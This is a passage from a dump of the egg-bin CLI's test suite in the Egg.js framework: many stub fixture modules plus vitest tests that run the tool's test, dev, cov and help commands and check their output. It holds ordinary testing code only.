    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"noImplicitAny\": false,\n    \"skipLibCheck\": true,\n    \"strict\": false\n  },\n  \"ts-node\": {\n    \"esm\": true,\n    \"transpileOnly\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/app/assets/index.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/app/assets/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/app/public/bar.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/app/public/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/app/view/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/config/config.prod.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/config/proxy.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/docs/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/example/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/examples/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/ignore/a.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/lib/a.js",
    "content": "'use strict';\n\nmodule.exports = (condition) => {\n  if (condition) {\n    return 'a';\n  }\n  return 'b';\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/mocks/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/mocks_data/foo/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/package.json",
    "content": "{\n  \"name\": \"test-files\",\n  \"files\": [\n    \"lib\"\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/a.js",
    "content": "const a = require('../lib/a');\n\ndescribe('a.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/a.test.js",
    "content": "const fs = require('fs');\nconst a = require('../lib/a');\n\ndescribe('a.test.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n\n  it('should show tmp', () => {\n    const tmpdir = process.env.TMPDIR;\n    console.log(tmpdir, fs.existsSync(tmpdir));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/b/b.test.js",
    "content": "describe('b/b.test.js', () => {\n  it('should success', () => {});\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/fail.js",
    "content": "describe('fail.js', () => {\n  it('should fail', () => {\n    throw new Error('fail.js throw');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/ignore.test.js",
    "content": "const assert = require('assert');\nconst a = require('../ignore/a');\n\ndescribe('ignore.test.js', () => {\n  it('should success', () => {\n    assert(a === '');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files/test/no-timeouts.test.js",
    "content": "describe('no-timeouts.test.js', () => {\n  it('should success', function () {\n    console.log(`timeout: ${process.env.EGG_BIN_TIMEOUT}`);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/app/assets/index.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/app/assets/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/app/public/bar.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/app/public/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/app/view/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/config/config.prod.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/config/proxy.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/docs/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/example/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/examples/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/ignore/a.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/lib/a.js",
    "content": "'use strict';\n\nmodule.exports = (condition) => {\n  if (condition) {\n    return 'a';\n  }\n  return 'b';\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/mocks/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/mocks_data/foo/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/package.json",
    "content": "{\n  \"name\": \"test-files\",\n  \"files\": [\n    \"lib\"\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/a.js",
    "content": "const a = require('../lib/a');\n\ndescribe('a.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/a.test.js",
    "content": "const fs = require('fs');\nconst a = require('../lib/a');\n\ndescribe('a.test.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n\n  it('should show tmp', () => {\n    const tmpdir = process.env.TMPDIR;\n    console.log(tmpdir, fs.existsSync(tmpdir));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/b/b.test.js",
    "content": "describe('b/b.test.js', () => {\n  it('should success', () => {});\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/fail.js",
    "content": "describe('fail.js', () => {\n  it('should fail', () => {\n    throw new Error('fail.js throw');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/ignore.test.js",
    "content": "const assert = require('assert');\nconst a = require('../ignore/a');\n\ndescribe('ignore.test.js', () => {\n  it('should success', () => {\n    assert(a === '');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-cov/test/no-timeouts.test.js",
    "content": "describe('no-timeouts.test.js', () => {\n  it('should success', function () {\n    console.log(`timeout: ${process.env.EGG_BIN_TIMEOUT}`);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/app/assets/index.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/app/assets/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/app/public/bar.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/app/public/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/app/view/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/config/config.prod.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/config/proxy.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/docs/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/example/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/examples/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/ignore/a.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/lib/a.js",
    "content": "'use strict';\n\nmodule.exports = (condition) => {\n  if (condition) {\n    return 'a';\n  }\n  return 'b';\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/mocks/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/mocks_data/foo/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/package.json",
    "content": "{\n  \"name\": \"test-files\",\n  \"files\": [\n    \"lib\"\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/a.js",
    "content": "const a = require('../lib/a');\n\ndescribe('a.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/a.test.js",
    "content": "const fs = require('fs');\nconst a = require('../lib/a');\n\ndescribe('a.test.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n\n  it('should show tmp', () => {\n    const tmpdir = process.env.TMPDIR;\n    console.log(tmpdir, fs.existsSync(tmpdir));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/b/b.test.js",
    "content": "describe('b/b.test.js', () => {\n  it('should success', () => {});\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/fail.js",
    "content": "describe('fail.js', () => {\n  it('should fail', () => {\n    throw new Error('fail.js throw');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/ignore.test.js",
    "content": "const assert = require('assert');\nconst a = require('../ignore/a');\n\ndescribe('ignore.test.js', () => {\n  it('should success', () => {\n    assert(a === '');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-egg-bin/test/no-timeouts.test.js",
    "content": "describe('no-timeouts.test.js', () => {\n  it('should success', function () {\n    console.log(`timeout: ${this.timeout()}`);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-glob/package.json",
    "content": "{\n  \"name\": \"test-files-glob\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-glob/test/index.test.js",
    "content": "'use strict';\n\nconst assert = require('assert');\n\ndescribe('test', () => {\n  it('should test index', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-glob/test/lib/sub.test.js",
    "content": "'use strict';\n\nconst assert = require('assert');\n\ndescribe('test', () => {\n  it('should test sub', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-glob/test/no-load.js",
    "content": "'use strict';\n\nthrow 'should not load';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/app/assets/index.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/app/assets/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/app/public/bar.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/app/public/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/app/view/subdir/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/config/config.prod.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/config/proxy.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/docs/home.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/example/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/examples/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/ignore/a.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/lib/a.js",
    "content": "'use strict';\n\nmodule.exports = (condition) => {\n  if (condition) {\n    return 'a';\n  }\n  return 'b';\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/mocks/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/mocks_data/foo/foo.js",
    "content": "'use strict';\n\nmodule.exports = '';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/package.json",
    "content": "{\n  \"name\": \"test-files\",\n  \"files\": [\n    \"lib\"\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/a.js",
    "content": "const a = require('../lib/a');\n\ndescribe('a.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/a.test.js",
    "content": "const fs = require('fs');\nconst a = require('../lib/a');\n\ndescribe('a.test.js', () => {\n  it('should success', () => {\n    a(true);\n  });\n\n  it('should show tmp', () => {\n    const tmpdir = process.env.TMPDIR;\n    console.log(tmpdir, fs.existsSync(tmpdir));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/b/b.test.js",
    "content": "describe('b/b.test.js', () => {\n  it('should success', () => {});\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/fail.js",
    "content": "describe('fail.js', () => {\n  it('should fail', () => {\n    throw new Error('fail.js throw');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/ignore.test.js",
    "content": "const assert = require('assert');\nconst a = require('../ignore/a');\n\ndescribe('ignore.test.js', () => {\n  it('should success', () => {\n    assert(a === '');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-files-my-egg-bin/test/no-timeouts.test.js",
    "content": "describe('no-timeouts.test.js', () => {\n  it('should success', function () {\n    console.log(`timeout: ${this.timeout()}`);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-unhandled-rejection/package.json",
    "content": "{\n  \"name\": \"test-unhandled-rejection\",\n  \"files\": [\n    \"lib\"\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-unhandled-rejection/test/a.test.js",
    "content": "describe('a.test.js', () => {\n  it('should success', () => {\n    Promise.reject(new Error('mock error'));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/config/config.default.js",
    "content": "exports.key = '12345';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/package.json",
    "content": "{\n  \"name\": \"ts\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/test/a.test.js",
    "content": "describe('a.test.js', () => {\n  it('should success', () => {\n    throw 'should not load js files';\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/test/sub.ts",
    "content": "export default { name: 'egg from ts' };\n\nfunction foo(bar?: string) {\n  return bar ?? '';\n}\n\nif (process.env.NOT_EXISTS) {\n  console.log(foo());\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/test/typescript.test.ts",
    "content": "import assert from 'node:assert';\n\nimport obj from './sub';\n\ndescribe('typescript.test.ts', () => {\n  it('should success', () => {\n    console.log('###', obj.name);\n    assert.equal(obj.name, 'egg from ts');\n  });\n\n  it('should fail', () => {\n    console.log('###', obj.name);\n    assert.equal(obj.name, 'wrong assert ts');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/helper.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport function getRootDirname(): string {\n  return path.join(__dirname, '..');\n}\n\nexport function getFixtures(filename: string): string {\n  return path.join(__dirname, 'fixtures', filename);\n}\n"
  },
  {
    "path": "tools/egg-bin/test/my-egg-bin.test.ts",
    "content": "import { describe, it } from 'vitest';\n\nimport coffee from './coffee.ts';\nimport { getFixtures } from './helper.ts';\n\ndescribe('test/my-egg-bin.test.ts', () => {\n  const eggBin = getFixtures('my-egg-bin/bin/run.js');\n  const cwd = getFixtures('test-files-my-egg-bin');\n\n  it('should my-egg-bin test success', () => {\n    return coffee\n      .fork(eggBin, ['test'], { cwd, env: { TESTS: 'test/a.test.js,test/b/b.test.js,test/ignore.test.js' } })\n      .debug()\n      .expect('stdout', /a\\.test\\.js/)\n      .expect('stdout', /b\\/b\\.test\\.js/)\n      .notExpect('stdout', /\\ba\\.js/)\n      .expect('stdout', /Tests.*passed/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should my-egg-bin nsp success', async () => {\n    await coffee\n      .fork(eggBin, ['nsp', '-h'], { cwd })\n      // .debug()\n      .expect('stdout', /nsp check/)\n      .expect('code', 0)\n      .end();\n\n    await coffee\n      .fork(eggBin, ['nsp'], { cwd })\n      // .debug()\n      .expect('stdout', /run nsp check at baseDir: .+test-files-my-egg-bin, with/)\n      .expect('code', 0)\n      .end();\n\n    await coffee\n      .fork(eggBin, ['nsp', '--foo'], { cwd })\n      // .debug()\n      .expect('stdout', /run nsp check at baseDir: .+test-files-my-egg-bin, with/)\n      .expect('stdout', /foo is true/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should show help', async () => {\n    await coffee\n      .fork(eggBin, ['--help'], { cwd })\n      // .debug()\n      .expect('stdout', /\\$ my-egg-bin \\[COMMAND]/)\n      .expect('stdout', /COMMANDS/)\n      .expect('stdout', /test {2}Run the test/)\n      .expect('stdout', /nsp {3}nsp check/)\n      .expect('code', 0)\n      .end();\n\n    await coffee\n      .fork(eggBin, ['dev', '-h'], { cwd })\n      // .debug()\n      .expect('stdout', /Run the development server with my-egg-bin/)\n      .expect('stdout', /listening port, default to 7001/)\n      .expect('stdout', /TypeScript compiler, like ts-node\\/register/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should my-egg-bin dev success', () => {\n    const baseDir = getFixtures('custom-framework-app-my-egg-bin');\n    return coffee\n      .fork(eggBin, ['dev'], { cwd: baseDir })\n      .debug()\n      .expect('stdout', /yadan start/)\n      .expect('stdout', /this is my-egg-bin dev/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should show version 2.3.4', () => {\n    return (\n      coffee\n        .fork(eggBin, ['--version'], { cwd })\n        // .debug()\n        .expect('stdout', /my-egg-bin\\/2\\.3\\.4 /)\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/ts.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport _cpy from 'cpy';\nimport { runScript } from 'runscript';\nimport { afterEach, beforeAll, describe, it } from 'vitest';\n\nimport coffee from './coffee.js';\nimport { getRootDirname, getFixtures } from './helper.js';\n\nasync function cpy(src: string, target: string) {\n  if (fs.cp) {\n    await fs.cp(src, target, { force: true, recursive: true });\n    return;\n  }\n  await _cpy(src, target);\n}\n\n// FIXME: Error [ERR_REQUIRE_ESM]: Must use import to load ES Module: ~/egg/packages/utils/src/index.ts\ndescribe.skip('test/ts.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  let cwd: string;\n\n  it('should support ts', () => {\n    cwd = getFixtures('ts');\n    return coffee\n      .fork(eggBin, ['dev'], { cwd, env: { NODE_ENV: 'development' } })\n      .debug()\n      .expect('stdout', /options.typescript=true/)\n      .expect('stdout', /started/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should support ts test', () => {\n    cwd = getFixtures('ts');\n    return (\n      coffee\n        .fork(eggBin, ['test', '--typescript'], {\n          cwd,\n          env: { NODE_ENV: 'development' },\n        })\n        // .debug()\n        .expect('stdout', /'egg from ts' == 'wrong assert ts'/)\n        .expect('stdout', /AssertionError/)\n        .expect('code', 1)\n        .end()\n    );\n  });\n\n  describe('real application', () => {\n    beforeAll(() => {\n      cwd = getFixtures('example-ts');\n    });\n\n    it('should start app', () => {\n      return coffee\n        .fork(eggBin, ['dev'], { cwd })\n        .debug()\n        .expect('stdout', /hi, egg, 12345/)\n        .expect('stdout', /ts env: true/)\n        .expect('stdout', /started/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should test app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test'], { cwd })\n          // .debug()\n          .expect('stdout', /hi, egg, 123456/)\n          .expect('stdout', /ts env: true/)\n          .expect('stdout', /should work/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should cov app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['cov'], { cwd })\n          // .debug()\n          .expect('stdout', /hi, egg, 123456/)\n          .expect('stdout', /ts env: true/)\n          .expect('stdout', /should work/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should cov app in cluster mod', () => {\n      // TODO(@fengmk2): not work on Node.js 22\n      // https://github.com/eggjs/bin/actions/runs/13308042479/job/37164115998\n      if (process.version.startsWith('v22.')) {\n        return;\n      }\n      cwd = getFixtures('example-ts-cluster');\n      return coffee\n        .fork(eggBin, ['cov'], { cwd })\n        .debug()\n        .expect('stdout', /Statements/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('error stacks', () => {\n    beforeAll(() => {\n      cwd = getFixtures('example-ts-error-stack');\n    });\n\n    it('should correct error stack line number in starting app', () => {\n      return coffee\n        .fork(eggBin, ['dev'], { cwd, env: { THROW_ERROR: 'true' } })\n        .debug()\n        .expect('stderr', /Error: throw error/)\n        .expect('stderr', /at \\w+ \\(.+app\\.ts:7:11\\)/)\n        .end();\n    });\n\n    it('should correct error stack line number in testing app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test'], { cwd })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.ts:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it.skip('should correct error stack line number in testing app with tscompiler=esbuild-register', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test', '--tscompiler=esbuild-register'], { cwd })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.ts:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it('should correct error stack line number in testing app with tscompiler=@swc-node/register', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test', '--tscompiler=@swc-node/register'], { cwd })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.ts:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it.skip('should support env.TS_COMPILER', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test'], {\n            cwd,\n            env: {\n              TS_COMPILER: 'esbuild-register',\n              NODE_DEBUG: 'egg-bin*',\n            },\n          })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.ts:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it('should correct error stack line number in covering app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test'], { cwd })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.ts:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .end()\n      );\n    });\n\n    it('should correct error stack line number in mixed app', () => {\n      const cwd = getFixtures('example-ts-error-stack-mixed');\n      return (\n        coffee\n          .fork(eggBin, ['test', '--ts', 'false'], { cwd })\n          // .debug()\n          .expect('stdout', /error/)\n          .expect('stdout', /2 failing/)\n          .expect('stdout', /test[/\\\\]index\\.test\\.js:\\d+:\\d+\\)/)\n          .expect('stdout', /AssertionError \\[ERR_ASSERTION]: '111' == '222'/)\n          .end()\n      );\n    });\n  });\n\n  describe('egg.typescript = true', () => {\n    const tempNodeModules = getFixtures('node_modules');\n    const tempPackageJson = getFixtures('package.json');\n    afterEach(async () => {\n      await fs.rm(tempNodeModules, { force: true, recursive: true });\n      await fs.rm(tempPackageJson, { force: true, recursive: true });\n    });\n\n    beforeAll(() => {\n      cwd = getFixtures('example-ts-pkg');\n    });\n\n    it('should start app', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev'], { cwd })\n          // .debug()\n          .expect('stdout', /hi, egg, 12345/)\n          .expect('stdout', /ts env: true/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should fail start app with --no-typescript', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--no-typescript'], { cwd })\n          // .debug()\n          .expect('stdout', /agent.options.typescript = false/)\n          .expect('stdout', /started/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should start app with flags in app without eggInfo', async () => {\n      const cwd = getFixtures('example-ts-simple');\n      await coffee\n        .fork(eggBin, ['dev'], { cwd })\n        // .debug()\n        .expect('stdout', /started/)\n        .expect('code', 0)\n        .end();\n\n      await coffee\n        .fork(eggBin, ['dev', '--tsc=esbuild-register'], { cwd })\n        // .debug()\n        .expect('stdout', /started/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should load custom ts compiler', async () => {\n      if (process.platform === 'win32') return;\n      const cwd = getFixtures('example-ts-custom-compiler');\n\n      // install custom ts-node\n      await fs.rm(path.join(cwd, 'node_modules'), {\n        force: true,\n        recursive: true,\n      });\n      if (process.env.CI) {\n        // don't use npmmirror.com on CI\n        await runScript('npminstall', { cwd });\n      } else {\n        await runScript('npminstall -c', { cwd });\n      }\n\n      // copy egg to node_modules\n      await cpy(getFixtures('example-ts-cluster/node_modules/egg'), path.join(cwd, './node_modules/egg'));\n\n      const { stderr, code } = await coffee\n        .fork(eggBin, ['dev', '--tsc', 'ts-node/register'], {\n          cwd,\n          env: {\n            NODE_DEBUG: '@eggjs/bin*',\n          },\n        })\n        